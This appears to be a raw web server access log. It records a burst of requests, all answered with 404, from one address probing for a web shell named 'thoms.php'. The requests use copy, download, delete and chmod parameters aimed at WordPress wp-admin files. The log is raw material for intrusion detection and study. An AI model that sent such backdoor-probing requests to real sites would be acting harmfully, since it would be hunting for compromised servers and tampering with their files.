45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Frevision.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Frevision.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?dl=async-upload.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?dl=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?chmod=contribute.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?del=options-head.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?dl=options-reading.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:00 -0400] "GET /thoms.php?del=profile.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?dl=install-helper.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?chmod=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-edit.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/user-edit.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/admin-ajax.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?dl=themes.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcomment.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcomment.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/edit-form-advanced.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?dl=post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsetup-config.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fsetup-config.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/setup-config.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /thoms.php?dl=revision.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:01 -0400] "GET /ba-guo.com.tw/wp-admin/contribute.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?dl=user-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?chmod=media-new.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-writing.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Foptions-writing.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=network&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?chmod=admin-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?dl=admin-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=admin-post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=credits.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=credits.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmy-sites.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fmy-sites.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=custom-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?chmod=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?del=setup-config.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=setup-config.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustom-header.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fcustom-header.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?del=ms-users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?del=revision.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?chmod=users.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?chmod=credits.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?del=customize.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /ba-guo.com.tw/wp-admin/options-discussion.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?dl=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?chmod=options-reading.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?chmod=install.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?del=network.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /ba-guo.com.tw/wp-admin/options-permalink.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?chmod=js&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=js&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:03 -0400] "GET /thoms.php?dl=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ffreedoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Ffreedoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /ba-guo.com.tw/wp-admin/site-health.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpost.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-admin%2Fpost.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
